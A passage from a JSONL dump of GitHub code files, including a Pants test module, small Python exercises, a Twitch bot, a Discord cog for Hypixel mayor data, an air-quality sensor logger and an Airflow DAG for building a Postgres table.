origin=AscendantAddresses(SOURCES1.source_root)\n )\n\n def assert_all_source_files_resolved(\n sources_field_with_origin: Tuple[SourcesField, OriginSpec], sources: TargetSources\n ) -> None:\n expected = sources.source_file_absolute_paths\n assert self.get_all_source_files([sources_field_with_origin]) == expected\n assert self.get_specified_source_files([sources_field_with_origin]) == expected\n\n assert_all_source_files_resolved(sources_field1, SOURCES1)\n assert_all_source_files_resolved(sources_field2, SOURCES2)\n assert_all_source_files_resolved(sources_field3, SOURCES3)\n assert_all_source_files_resolved(sources_field4, SOURCES1)\n # NB: sources_field1 and sources_field3 refer to the same files. We should be able to\n # handle this gracefully.\n combined_sources_fields = [sources_field1, sources_field2, sources_field3, sources_field4]\n combined_expected = sorted(\n [\n *SOURCES1.source_file_absolute_paths,\n *SOURCES2.source_file_absolute_paths,\n *SOURCES3.source_file_absolute_paths,\n ]\n )\n assert self.get_all_source_files(combined_sources_fields) == combined_expected\n assert self.get_specified_source_files(combined_sources_fields) == combined_expected\n\n def test_filesystem_specs(self) -> None:\n # Literal file arg.\n sources_field1_all_sources = SOURCES1.source_file_absolute_paths\n sources_field1_slice = slice(0, 1)\n sources_field1 = self.mock_sources_field_with_origin(\n SOURCES1, origin=FilesystemLiteralSpec(sources_field1_all_sources[0])\n )\n\n # Glob file arg that matches the entire `sources`.\n sources_field2_all_sources = SOURCES2.source_file_absolute_paths\n sources_field2_slice = slice(0, len(sources_field2_all_sources))\n sources_field2_origin = FilesystemResolvedGlobSpec(\n f\"{SOURCES2.source_root}/*.py\", files=tuple(sources_field2_all_sources)\n )\n sources_field2 = self.mock_sources_field_with_origin(SOURCES2, origin=sources_field2_origin)\n\n # Glob file arg that only matches a subset of the `sources` _and_ includes resolved\n # files not owned by the target.\n sources_field3_all_sources = SOURCES3.source_file_absolute_paths\n sources_field3_slice = slice(0, 1)\n sources_field3_origin = FilesystemResolvedGlobSpec(\n f\"{SOURCES3.source_root}/*.java\",\n files=tuple(\n PurePath(SOURCES3.source_root, name).as_posix()\n for name in [SOURCES3.source_files[0], \"other_target.java\", \"j.tmp.java\"]\n ),\n )\n sources_field3 = self.mock_sources_field_with_origin(SOURCES3, origin=sources_field3_origin)\n\n def assert_file_args_resolved(\n sources_field_with_origin: Tuple[SourcesField, OriginSpec],\n all_sources: List[str],\n expected_slice: slice,\n ) -> None:\n assert self.get_all_source_files([sources_field_with_origin]) == all_sources\n assert (\n self.get_specified_source_files([sources_field_with_origin])\n == all_sources[expected_slice]\n )\n\n assert_file_args_resolved(sources_field1, sources_field1_all_sources, sources_field1_slice)\n assert_file_args_resolved(sources_field2, sources_field2_all_sources, sources_field2_slice)\n assert_file_args_resolved(sources_field3, sources_field3_all_sources, sources_field3_slice)\n\n combined_sources_fields = [sources_field1, sources_field2, sources_field3]\n assert self.get_all_source_files(combined_sources_fields) == sorted(\n [*sources_field1_all_sources, *sources_field2_all_sources, *sources_field3_all_sources]\n )\n assert self.get_specified_source_files(combined_sources_fields) == sorted(\n [\n *sources_field1_all_sources[sources_field1_slice],\n *sources_field2_all_sources[sources_field2_slice],\n *sources_field3_all_sources[sources_field3_slice],\n ]\n )\n\n def test_strip_source_roots(self) -> None:\n sources_field1 = self.mock_sources_field_with_origin(SOURCES1)\n sources_field2 = self.mock_sources_field_with_origin(SOURCES2)\n sources_field3 = self.mock_sources_field_with_origin(SOURCES3)\n\n def assert_source_roots_stripped(\n sources_field_with_origin: Tuple[SourcesField, OriginSpec], sources: TargetSources\n ) -> None:\n expected = sources.source_files\n assert (\n self.get_all_source_files([sources_field_with_origin], strip_source_roots=True)\n == expected\n )\n assert (\n self.get_specified_source_files(\n [sources_field_with_origin], strip_source_roots=True\n )\n == expected\n )\n\n assert_source_roots_stripped(sources_field1, SOURCES1)\n assert_source_roots_stripped(sources_field2, SOURCES2)\n assert_source_roots_stripped(sources_field3, SOURCES3)\n\n # We must be careful to not strip source roots for `FilesSources`.\n files_sources_field = self.mock_sources_field_with_origin(\n SOURCES1, sources_field_cls=FilesSources\n )\n files_expected = SOURCES1.source_file_absolute_paths\n\n assert (\n self.get_all_source_files([files_sources_field], strip_source_roots=True)\n == files_expected\n )\n assert (\n self.get_specified_source_files([files_sources_field], strip_source_roots=True)\n == files_expected\n )\n\n combined_sources_fields = [\n sources_field1,\n sources_field2,\n sources_field3,\n files_sources_field,\n ]\n combined_expected = sorted(\n [\n *SOURCES1.source_files,\n *SOURCES2.source_files,\n *SOURCES3.source_files,\n *files_expected,\n ],\n )\n assert (\n self.get_all_source_files(combined_sources_fields, strip_source_roots=True)\n == combined_expected\n )\n assert (\n self.get_specified_source_files(combined_sources_fields, strip_source_roots=True)\n == combined_expected\n )\n\n def test_gracefully_handle_no_sources(self) -> None:\n sources_field = self.mock_sources_field_with_origin(SOURCES1, include_sources=False)\n assert self.get_all_source_files([sources_field]) == []\n assert self.get_specified_source_files([sources_field]) == []\n assert self.get_all_source_files([sources_field], strip_source_roots=True) == []\n assert self.get_specified_source_files([sources_field], strip_source_roots=True) == []\n","repo_name":"mgrenonville/pants","sub_path":"src/python/pants/core/util_rules/determine_source_files_test.py","file_name":"determine_source_files_test.py","file_ext":"py","file_size_in_byte":11489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"304994013","text":"def is_prime(number):\n if number == 1:\n return False\n\n for i in range(2, number):\n if number % i == 0:\n return False\n return True\n\n\nif __name__ == '__main__':\n cnt = int(input())\n num_list = map(int, input().split())\n result = 0\n\n for num in num_list:\n if is_prime(num):\n result += 1\n print(result)\n","repo_name":"maroon1290/PS_JoonYeol","sub_path":"BaekJoon/Math/1978번 소수 찾기/소수 찾기.py","file_name":"소수 찾기.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"44861382167","text":"import os\nfrom datetime import datetime\n\ndef scan():\n list = os.listdir()\n scanstart = datetime\n for file in list:\n print(file)\n\n endtime = datetime\n\n print(f\"Finished aftert {endtime - scanstart}\")\n\n\ntry:\n scan()\nexcept Exception as e:\n print(e)","repo_name":"EckertP/Python","sub_path":"random/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32409210765","text":"def bfs(matrix, row, col, visited):\r\n nodes = [(row, col)]\r\n while nodes:\r\n row, col = nodes.pop(0)\r\n if row >= len(matrix) or col >= len(matrix[0]) or row < 0 or col < 0 and matrix[row][col]==3:\r\n continue\r\n if (row, col) not in visited:\r\n if matrix[row][col] == 0:\r\n visited.append((row, col))\r\n nodes.append((row + 1, col))\r\n nodes.append((row, col + 1))\r\n nodes.append((row, col - 1))\r\ndef bfs_wrapper(matrix):\r\n visited = []\r\n for i in range(len(matrix)):\r\n for j in range(len(matrix[0])):\r\n\r\n if (i, j) not in visited:\r\n bfs(matrix, i, j, visited)\r\n matrix[i, j] == 9 # danh dau duong di\r\n print('[(', i, j, ')]')\r\n\r\n return visited","repo_name":"dvnhanh/CacThuatThongMinhNhanTao","sub_path":"BFS.py","file_name":"BFS.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"72347034794","text":"# -*- coding: utf-8 -*-\nimport torch\nfrom factor_catalog import FactorCatalog\nfrom glob import glob\nfrom PIL import Image as im\nfrom torchvision import transforms\nimport torchvision.models\nimport random, time\nimport matplotlib.pyplot as plt\nfrom spherical_gmm import GMMWrapper\nimport argparse\nimport os\n\nSEED = 0\nk = 10 # num of clusters\nDATASET_DIRECTORY = 'data/CUB_200_2011/images'\nVGG_PATH = 'vgg16/vgg16_bn-6c64b313.pth'\nBATCH_SIZE = 200\nRESULT_DIR = 'results'\nparser = argparse.ArgumentParser()\nparser.add_argument('-eid', '--experiment-id', type=str)\nparser.add_argument('-dd', '--dataset-directory', type=str, default=DATASET_DIRECTORY)\nparser.add_argument('-b', '--batch-size', type=int, default=BATCH_SIZE)\nparser.add_argument('-s', '--seed', type=int, default=SEED)\nparser.add_argument('-k', '--clusters', type=int, default=k)\n\nargs = parser.parse_args()\n\nrandom.seed(args.seed)\n\ndirectory_output = os.path.join(RESULT_DIR, args.experiment_id)\nos.makedirs(directory_output, exist_ok=True)\n\n#\ntfm = transforms.Compose([transforms.Resize(256), transforms.CenterCrop(224), transforms.ToTensor(), \n transforms.Normalize(mean=[0.485, 0.456, 0.406], \n std=[0.229, 0.224, 0.225])])\n\ndef getImages():\n def _getIm(img_path):\n img = im.open(img_path)\n if len(img.getbands()) != 3:\n return None\n img = tfm(img)\n return img\n\n img_paths = glob(args.dataset_directory+'/*/*.jpg')\n random.shuffle(img_paths)\n imgs = []\n for img_path in img_paths:\n img = _getIm(img_path) \n if not isinstance(img, type(None)):\n imgs.append(img)\n if len(imgs) == args.batch_size + 8: # 8 in validation set to visualize\n break\n imgs = torch.stack(imgs)\n\n return imgs\n\n\nclass VGGFeatures(torch.nn.Module):\n def __init__(self, resize=True):\n super(VGGFeatures, self).__init__()\n blocks = []\n\n model = torchvision.models.vgg16_bn()\n state_dict = torch.load(VGG_PATH)\n model.load_state_dict(state_dict)\n blocks = []\n blocks.append(model.features[:6].eval())\n blocks.append(model.features[6:13].eval())\n blocks.append(model.features[13:23].eval())\n blocks.append(model.features[23:33].eval())\n blocks.append(model.features[33:43].eval())\n\n\n for bl in blocks:\n for p in bl:\n p.requires_grad = False\n self.blocks = torch.nn.ModuleList(blocks)\n self.transform = torch.nn.functional.interpolate\n self.mean = torch.nn.Parameter(torch.tensor([0.485, 0.456, 0.406]).view(1,3,1,1))\n self.std = torch.nn.Parameter(torch.tensor([0.229, 0.224, 0.225]).view(1,3,1,1))\n self.resize = resize\n\n def forward(self, input, normalize=False, block_id=2):\n if input.shape[1] != 3:\n input = input.repeat(1, 3, 1, 1)\n\n if normalize:\n input = (input-self.mean) / self.std\n if self.resize:\n input = self.transform(input, mode='bilinear', size=(224, 224), align_corners=False)\n #target = self.transform(target, mode='bilinear', size=(224, 224), align_corners=False)\n x = input\n #feats = [x]\n if block_id < 0:\n return x\n for i, block in enumerate(self.blocks):\n #feats.append(block(feats[-1]))\n x = block(x)\n if i == block_id:\n return x\n return x\n\nfe = VGGFeatures().cuda()\n\nstart = time.time()\nimgs = getImages()\nimgs_val = imgs[args.batch_size:]\nend = time.time()\nprint('Loaded %d images (%.3fs)'%(args.batch_size, end-start))\nx = imgs.cuda()\n\nidx = 0\n\npostpro = transforms.Compose([transforms.Normalize(mean=[-0.485/0.229, -0.456/0.224, -0.406/0.225], \n std=[1/0.229, 1/0.224, 1/0.225]), transforms.ToPILImage()])\n\nf_img, aximg = plt.subplots(1, 7, figsize=(35, 5))\naximg[0].imshow(postpro(imgs_val[idx]))\naximg[0].axis('off')\n\nfc = FactorCatalog(args.clusters)\nfor block_id in range(-1, 5):\n start = time.time()\n feats = fe(x, block_id=block_id).detach().cpu()\n print(feats.shape)\n hms = fc.fit_predict(feats[:args.batch_size], True)\n hms = fc.predict(feats[args.batch_size:], True)\n hms = hms.get(224)\n hms_cold = torch.argmax(hms, dim=1)\n\n idx = 0\n\n # PLOT OUTPUTS\n #palette = torch.tensor([2 ** 25 - 1, 2 ** 15 - 1, 2 ** 21 - 1])\n colors = torch.as_tensor([i for i in range(args.clusters)])[:, None]\n colors = (colors * 255 / (k-1)).numpy().astype(\"uint8\")\n\n nrows, ncols = 4, 4\n f, axarr = plt.subplots(nrows, ncols, figsize=(12,12))\n for row in axarr:\n for i, col in enumerate(row):\n r = im.fromarray(hms_cold[idx].byte().cpu().numpy())#.resize((224, 224))\n #r.putpalette(colors)\n original_img = postpro(imgs_val[idx])\n if i % 2 == 0:\n col.imshow(original_img)\n else:\n original_img = original_img.convert(\"L\")\n col.imshow(original_img, cmap='gray', vmin=0, vmax=255)\n col.imshow(r, cmap='plasma', alpha=0.5)\n if idx == 0:\n aximg[block_id+2].imshow(original_img, cmap='gray', vmin=0, vmax=255)\n aximg[block_id+2].imshow(r, cmap='plasma')\n aximg[block_id+2].axis('off')\n idx += 1\n col.axis('off')\n \n\n f.savefig(os.path.join(directory_output, 'sph_k_means%d.png'%(block_id+1)))\n end = time.time()\n print('Block Id %d done (%.3fs)'%(block_id+1, end-start))\n\n del feats\nf_img.savefig(os.path.join(directory_output, 'img_v_blockId.png'))\n","repo_name":"sreesai1412/Local-Semantics","sub_path":"feature_clustering.py","file_name":"feature_clustering.py","file_ext":"py","file_size_in_byte":5682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24091841058","text":"# dictionaries\n\n# -------------------------------\n# Example 1\n# -------------------------------\n\n# dictionaries are used to store colloections of object like string or tuples\n# however it stores the infomation in pairs called key-value pairs\nphonebook = {\"Jenny\": \"867-5309\", \"Mike Jones\": \"281-330-8004\",\n \"Destiny\": \"900-783-3369\"}\nprint(phonebook)\n\n# NOTE Python sorts the contents of the dictionary in a way that makes it\n# very fast to get information out of the dictionary (by a process\n# called hashing), but this ordering changes randomly every time the\n# contents of the dictionary change.\n\n# the important feature of dictionaries is the paired value of each item in\n# in the list by specifying a key\nprint(phonebook[\"Jenny\"])\n\n# new keys can be added to a dictionary by specifying and new key and assigning a\n# value\nphonebook[\"Obama\"] = \"202-456-1414\"\nprint(phonebook)\n\n# deleting values can use the del() function\ndel(phonebook[\"Jenny\"])\nprint(phonebook)\n\n# keys() can be used to extract all the key values in a dictionary this is\n# is useful when we need to loop over the keys\nprint(phonebook.keys())\n\n# NOTE the returned value is a dict_keys object not a list so has diffrent\n# methods available to it it is converted to a list using list()\n\n\n# -------------------------------\n# Example 2\n# -------------------------------\n\n# To preform an operation on all the keys in a dictionary we can use a for\n# loop the dictionary will be accessed in it's hashed order\nfor contact_name in phonebook:\n print(contact_name, phonebook[contact_name])\n\n# we can use in to check if a key exists in a dictionary\nprint(\"Jenny\" in phonebook)\nprint(\"Obama\" in phonebook)\n\n# NOTE it's important to use in statement as requesting a dictionary key\n# that does not exist will throw an error.\n\n# to acess the dictioary in its sorted order the sorted function is used\nfor contact_name in sorted(phonebook):\n print(contact_name, phonebook[contact_name])\n\n# dictionary values can be any object type (including other dictionaries)\n# but keys must be immutable objects\ncontacts = {\"Jenny\": {\"cell\": \"555-0199\", \"home\": \"867-5309\"},\n \"Mike Jones\": {\"home\": \"281-330-8004\"},\n \"Destiny\": {\"work\": \"900-783-3369\"}}\nprint(contacts)\nprint(contacts[\"Jenny\"][\"cell\"])\n\n# alternative ways to create dictionaries\n# dict() can be used to create dictionaries where key names will only contain\n# strings and numbers\ntest_dictionary = dict(string1=\"value1\", string2=2, string3=3.0)\nprint(test_dictionary)\n\n# we can also provide the pairings provided as tupples\nsimple_dictionary = dict(\n [(\"string1\", \"value1\"), (\"string2\", 2), (\"string3\", 3.0)])\nprint(simple_dictionary)\n\n\n# *******************************\n# Exercises\n# *******************************\n\n# Ex 1\nbirthdays = {}\n\n# Ex 2\nbirthdays['Luke Skywalker'] = '5/24/19'\nbirthdays['Obi-Wan Kenobi'] = '3/11/57'\nbirthdays['Darth Vader'] = '4/1/41'\n\n# Ex 3\nnames_list = ['Yoda', 'Darth Vadar']\n\nfor name in names_list:\n if name in birthdays:\n pass\n else:\n birthdays[name] = 'unknown'\n\nprint(birthdays)\n\n# Ex 4\nfor keys in birthdays:\n print(f\"{keys} {birthdays[keys]}\")\n\n# Ex 5\ndel(birthdays['Darth Vader'])\n\n# Ex 6\nbirthdays = dict([('Luke Skywalker', '5/24/19'), ('Obi-Wan Kenobi', '3/11/57'),\n ('Darth Vader', '4/1/41')])\n","repo_name":"timm052/Realpython","sub_path":"Fundamentals/Chapter 6/dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39275048315","text":"'''\nBotMain.py\nRoberto Padilla\n\nTwitch Bot example using our twitch_socket test library.\nYou can use this as a starter to build our own bot,\nPlease make sure to add your bot credentials and the chat your bot will join inside config.ini.\n\nNote: to obtain an OAuth key from your bot please go to https://twitchapps.com/tmi/ and login with your bot account.\n'''\nimport twitch_socket\nimport sys #<<< This is just for the pyversion command example, feel free to remove if together with the pyversion command if you desire\n\n#Initialize TwitchBot IRC and Websocket Connection\ntwitch_obj = twitch_socket.twitch_socket()\nsocket_obj = twitch_obj.openSocket()\ntwitch_obj.joinRoom(socket_obj)\ntwitch_obj.sendMessage(socket_obj, \"My new and cool bot has joined the chat!\")\n\n#Initialize Websocket messages buffer\nreadbuffer = \"\"\n\nwhile True:\n #Read Websocket and agregate the message to variable temp\n readbuffer = readbuffer.encode('utf-8') + socket_obj.recv(1024)\n temp = str.split(readbuffer.decode('utf-8'), \"\\n\")\n readbuffer = temp.pop()\n\n #sart reading the actual message received by the socket\n for line in temp:\n print(line) #<< Here you can add a break point and debug the code to see how line actually looks\n if \"Bot Go Away\" in line:\n #Here we can remove the bot from the chat, you can add any message, text or command to trigger this portion\n socket_obj.send(\"PART #\" + twitch_obj.CHANNEL)\n print(\"attempted to leave\")\n if \"PING :tmi.twitch.tv\" in line:\n #Here we pretty much let TwitchIRC that we are still alive\n socket_obj.send(\"PONG :tmi.twitch.tv\\r\\n\")\n print(\"I just sent a PONG\")\n\n user = twitch_obj.getUser(line) #Chat user who sent the current chat message\n message = twitch_obj.getMessage(line) #Current Chat message\n print(user + \" typed :\" + message)\n\n #special command zone, here we can verify if the message contains a predefined command\n #remember that you can pretty much do and run anything when we detect a command\n if \"hello!\" in message:\n twitch_obj.sendMessage(socket_obj, \"Hello Bot!\")\n\n if \"pyversion!\" in message:\n python_version = sys.version\n twitch_obj.sendMessage(socket_obj, python_version)","repo_name":"rpadilla091/Python-TwitchBot-Basics","sub_path":"BotMain.py","file_name":"BotMain.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"15607527258","text":"import discord\nfrom discord.ext import commands\nfrom discord.ext.pages import Paginator, Page\nfrom aiohttp_client_cache import CachedSession, SQLiteBackend\n\n\nclass Mayor(commands.Cog):\n\n def __init__(self, bot):\n self.bot = bot\n\n @discord.slash_command(description=\"Check the current mayor.\")\n async def mayor(self, ctx):\n file = None\n async with CachedSession(cache=SQLiteBackend('database/election_cache', expires_after=600)) as session:\n response = await session.get(\"https://api.hypixel.net/resources/skyblock/election\")\n if response.status != 200:\n await ctx.respond(\"Error fetching information from the API. Try again later\", ephemeral=True)\n return\n data = await response.json()\n if not data[\"success\"]:\n await ctx.respond(\"Error fetching information from the API. Try again later\", ephemeral=True)\n return\n try:\n currentmayor = data['mayor']['name']\n perks = discord.Embed(title=f\"{currentmayor}\", color=0xee6940)\n try:\n file = discord.File(f\"./resources/mayor/{currentmayor}.png\", filename=\"image.png\")\n perks.set_thumbnail(url=f'attachment://image.png')\n except:\n pass\n for perk in data['mayor']['perks']:\n perks.add_field(name=perk['name'], value=perk['description'], inline=True)\n except KeyError:\n await ctx.respond(\"Either there is no current mayor or an unknown error has occurred.\", ephemeral=True)\n return\n if file is not None:\n await ctx.respond(embed=perks, file=file)\n else:\n await ctx.respond(embed=perks)\n\n @discord.slash_command(description=\"Check the results of the current mayoral elections.\")\n async def election(self, ctx):\n async with CachedSession(cache=SQLiteBackend('database/election_cache', expires_after=600)) as session:\n response = await session.get(\"https://api.hypixel.net/resources/skyblock/election\")\n if response.status != 200:\n await ctx.respond(\"Error fetching information from the API. Try again later\", ephemeral=True)\n return\n data = await response.json()\n if not data[\"success\"]:\n await ctx.respond(\"Error fetching information from the API. Try again later\", ephemeral=True)\n return\n embeds = []\n files = []\n for candidate in data['mayor']['election']['candidates']:\n try:\n name = candidate['name']\n embed = discord.Embed(title=f\"{name}\", color=0xee6940)\n for perks in candidate['perks']:\n description = perks['description']\n l = list(description)\n for i in range(len(l)):\n if l[i] == \"§\":\n l[i] = \"\"\n l[i + 1] = \"\"\n s = \"\".join(l)\n embed.add_field(name=perks['name'], value=s, inline=True)\n try:\n file = discord.File(f\"./resources/mayor/{name}.png\", filename=\"image.png\")\n embed.set_thumbnail(url=f'attachment://image.png')\n files.append(file)\n except FileNotFoundError:\n files.append(None)\n embeds.append(embed)\n except KeyError:\n await ctx.respond(\"An unknown error has occurred.\", ephemeral=True)\n return\n my_pages = []\n for i in range(len(embeds)):\n if files[i] is not None:\n my_pages.append(Page(embeds=[embeds[i]], file=files[i]))\n else:\n my_pages.append(Page(embeds=[embeds[i]]))\n paginator = Paginator(pages=my_pages)\n await paginator.respond(ctx.interaction)\n\n\ndef setup(bot):\n bot.add_cog(Mayor(bot))\n","repo_name":"ObbyTrusty/Skyblock-Gaming-Utilities","sub_path":"cogs/mayor.py","file_name":"mayor.py","file_ext":"py","file_size_in_byte":3936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"733519176","text":"import json\nimport sys\nimport argparse\nimport time\nimport board\nimport busio\nimport serial\nimport sqlite3\nimport os\nfrom digitalio import DigitalInOut, Direction, Pull\nfrom adafruit_pm25.uart import PM25_UART\n\n# path to sqlite3 database\nRELATIVE_DB_PATH = '../quality.db'\n# minutes to sleep between measurements\nMIN_INTERVAL = 5 \n\n# query to use when inserting data into db \nINSERTION_QUERY = '''\nINSERT INTO Samples\nValues(\ndatetime('now'),\n?,\n?,\n?,\n?,\n?,\n?\n)\n'''\n\n# Query to get the local time of the row with rowid\nTIME_QUERY = '''\nSELECT datetime(dt, 'localtime') as localTime\nFROM Samples\nWHERE rowid = ?\n'''\n\ndef get_sensor():\n \"\"\"\n returns a connection to the sensor\n \"\"\"\n\n uart = serial.Serial(\"/dev/ttyS0\", baudrate=9600, timeout=0.25)\n return PM25_UART(uart)\n\ndef get_reading(sensor, retries=5):\n \"\"\"\n returns a dictionary of readings\n \"\"\"\n\n for _ in range(retries):\n try:\n # if successful break out of retry loop\n return sensor.read()\n except RuntimeError:\n time.sleep(1)\n # want to retry until we get a reading\n continue\n\n raise RuntimeError('Unable to read from sensor')\n\ndef write_to_db(data, retries=3):\n \"\"\"\n Connect to sqlite database\n Write reading and return row representing reading\n \"\"\"\n\n # get absolute path\n path = os.path.abspath(__file__)\n dir_path = os.path.dirname(path)\n db_path = f'{dir_path}/{RELATIVE_DB_PATH}'\n\n conn = sqlite3.connect(db_path)\n cursor = conn.cursor()\n for _ in range(retries):\n try:\n # execute query\n cursor.execute(INSERTION_QUERY, data)\n # get last row id\n row_id = cursor.lastrowid\n # get localTime of inserted row\n localTimeRows = cursor.execute(TIME_QUERY, (row_id,))\n localTimeRow = cursor.fetchone()\n # commit insertion\n conn.commit()\n return localTimeRow[0]\n except sqlite3.Error as e:\n time.sleep(1)\n # retry until we write or run out of retries\n continue\n finally:\n conn.close()\n\n # raise error if unable to write to db even after retries\n raise RuntimeError(f'Error writing to database: {e}')\n\ndef main():\n # parse flags\n parser = argparse.ArgumentParser(\n prog='pm2_5',\n description='Reads the air quality and outputs a JSON represntation to stdout. Optionally saves it to a database')\n\n parser.add_argument('-v', '--verbose', action='store_true', help='If enabled, prints info about the status of the program')\n parser.add_argument('-s', '--save', action='store_true', help='If enabled, saves reading to a sqlite3 database')\n\n args = parser.parse_args()\n\n # connect to the sensor\n pm25 = get_sensor()\n\n # get the reading\n if args.verbose: print('reading from sensor')\n try:\n aqdata = get_reading(pm25)\n except RuntimeError as e:\n # exit if no reading\n print(e, sys.stderr)\n sys.exit(os.EX_UNAVAILABLE)\n\n\n # for JSON output\n data_dict = {\n 'pm1': aqdata['pm10 standard'],\n 'pm25': aqdata['pm25 standard'],\n 'pm1env': aqdata['pm10 env'],\n 'pm25env': aqdata['pm25 env'],\n 'particles03' :aqdata['particles 03um'],\n 'particles05': aqdata['particles 05um']\n }\n\n # save if flag specified\n if args.save:\n if args.verbose: print(\"writing values to database\")\n try:\n result = write_to_db((\n data_dict['pm1'],\n data_dict['pm25'],\n data_dict['pm1env'],\n data_dict['pm25env'],\n data_dict['particles03'],\n data_dict['particles05']\n ))\n except RuntimeError as e:\n print(e, sys.stderr)\n sys.exit(os.EX_UNAVAILABLE)\n\n if args.verbose: print('successfully wrote to database')\n data_dict['localTime'] = result\n\n # output reading to stdout\n print(json.dumps(data_dict))\n\nif __name__ == '__main__':\n main()\n","repo_name":"gmelsby/air-detector","sub_path":"pm2_5/detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73871973993","text":"\"\"\"\n## Use setup/ teardown with data quality checks during creation of a Postgres table\n\nThis DAG demonstrates a table creation pattern which includes both halting and \nnon-halting data quality checks. Setup/ teardown tasks are used to create and\ndrop temporary tables.\n\nTo use this DAG you will need to provide the `postgres_default` connection.\n\"\"\"\n\nfrom airflow.decorators import dag, task, task_group\nfrom airflow.models.baseoperator import chain\nfrom pendulum import datetime\nfrom airflow.providers.postgres.operators.postgres import PostgresOperator\nfrom airflow.providers.common.sql.operators.sql import (\n SQLColumnCheckOperator,\n SQLTableCheckOperator,\n)\n\nPOSTGRES_CONN_ID = \"postgres_default\"\nTABLE_NAME = \"national_parks\"\nSCHEMA_NAME = \"public\"\n\n\n@dag(\n start_date=datetime(2023, 8, 1),\n schedule=None,\n catchup=False,\n tags=[\"setup/teardown\", \"data quality\", \"webinar\", \"use case\"],\n default_args={\"postgres_conn_id\": POSTGRES_CONN_ID, \"conn_id\": POSTGRES_CONN_ID},\n)\ndef create_table_setup_teardown_postgres():\n @task\n def upstream_task():\n return \"hi\"\n\n @task_group\n def create_table():\n create_tmp = PostgresOperator(\n task_id=\"create_tmp\",\n sql=f\"\"\"CREATE TABLE IF NOT EXISTS {TABLE_NAME}_tmp (\n park_code varchar(4) PRIMARY KEY,\n park_name varchar(255),\n state varchar(255),\n acres int,\n latitude float,\n longitude float\n );\"\"\",\n )\n\n load_data_into_tmp = PostgresOperator(\n task_id=\"load_data_into_tmp\",\n sql=f\"\"\"\n BEGIN;\n CREATE TEMP TABLE copy_tmp_table \n (LIKE {TABLE_NAME}_tmp INCLUDING DEFAULTS)\n ON COMMIT DROP;\n \n COPY copy_tmp_table FROM '/include/parks.csv' \n DELIMITER ',' CSV HEADER;\n \n INSERT INTO {TABLE_NAME}_tmp\n SELECT *\n FROM copy_tmp_table\n ON CONFLICT DO NOTHING;\n COMMIT;\n \"\"\",\n )\n\n @task_group\n def test_tmp():\n SQLColumnCheckOperator(\n task_id=\"test_cols\",\n retry_on_failure=\"True\",\n table=f\"{SCHEMA_NAME}.{TABLE_NAME}_tmp\",\n column_mapping={\"acres\": {\"null_check\": {\"equal_to\": 0}}},\n accept_none=\"True\",\n )\n\n SQLTableCheckOperator(\n task_id=\"test_table\",\n retry_on_failure=\"True\",\n table=f\"{SCHEMA_NAME}.{TABLE_NAME}_tmp\",\n checks={\"row_count_check\": {\"check_statement\": \"COUNT(*) > 30\"}},\n )\n\n swap = PostgresOperator(\n task_id=\"swap\",\n sql=f\"\"\"\n DO\n $$\n BEGIN\n IF EXISTS (\n SELECT 1 FROM information_schema.tables \n WHERE table_name = '{TABLE_NAME}' AND table_schema = 'public'\n ) \n THEN\n EXECUTE 'ALTER TABLE ' || '{TABLE_NAME}' || ' RENAME TO ' || '{TABLE_NAME}_backup';\n END IF;\n END\n $$;\n CREATE TABLE {TABLE_NAME} AS SELECT * FROM {TABLE_NAME}_tmp;\n \"\"\",\n )\n\n drop_tmp = PostgresOperator(\n task_id=\"drop_tmp\",\n sql=f\"\"\"\n DROP TABLE IF EXISTS {TABLE_NAME}_tmp;\n \"\"\",\n )\n\n drop_backup = PostgresOperator(\n task_id=\"drop_backup\",\n sql=f\"\"\"\n DROP TABLE IF EXISTS {TABLE_NAME}_backup;\n \"\"\",\n )\n\n @task\n def done():\n return \"New table is ready!\"\n\n chain(\n create_tmp,\n load_data_into_tmp,\n test_tmp(),\n swap,\n drop_tmp,\n drop_backup,\n done(),\n )\n\n # define setup/ teardown relationship\n drop_tmp.as_teardown(setups=[create_tmp, load_data_into_tmp])\n drop_backup.as_teardown(setups=[swap])\n\n @task_group\n def validate():\n test_cols = SQLColumnCheckOperator(\n task_id=\"test_cols\",\n retry_on_failure=\"True\",\n table=f\"{SCHEMA_NAME}.{TABLE_NAME}\",\n column_mapping={\"park_name\": {\"unique_check\": {\"equal_to\": 0}}},\n accept_none=\"True\",\n )\n\n test_table = SQLTableCheckOperator(\n task_id=\"test_table\",\n retry_on_failure=\"True\",\n table=f\"{SCHEMA_NAME}.{TABLE_NAME}\",\n checks={\"row_count_check\": {\"check_statement\": \"COUNT(*) > 50\"}},\n )\n\n @task(trigger_rule=\"all_done\")\n def sql_check_done():\n return \"Additional data quality checks are done!\"\n\n [test_cols, test_table] >> sql_check_done()\n\n swap >> validate()\n\n @task\n def downstream_task():\n return \"hi\"\n\n upstream_task() >> create_table() >> downstream_task()\n\n\ncreate_table_setup_teardown_postgres()\n","repo_name":"astronomer/webinar-setup-teardown-data-quality","sub_path":"dags/create_table_setup_teardown_postgres.py","file_name":"create_table_setup_teardown_postgres.py","file_ext":"py","file_size_in_byte":5282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29996323714","text":"import logging\nfrom pprint import pprint\nimport upwork\nfrom upwork.routers import auth\nfrom upwork.routers.jobs import profile\nfrom configparser import ConfigParser\n\nconfiguration = ConfigParser()\nconfiguration.read(\"settings.ini\")\n\nLOGGER = 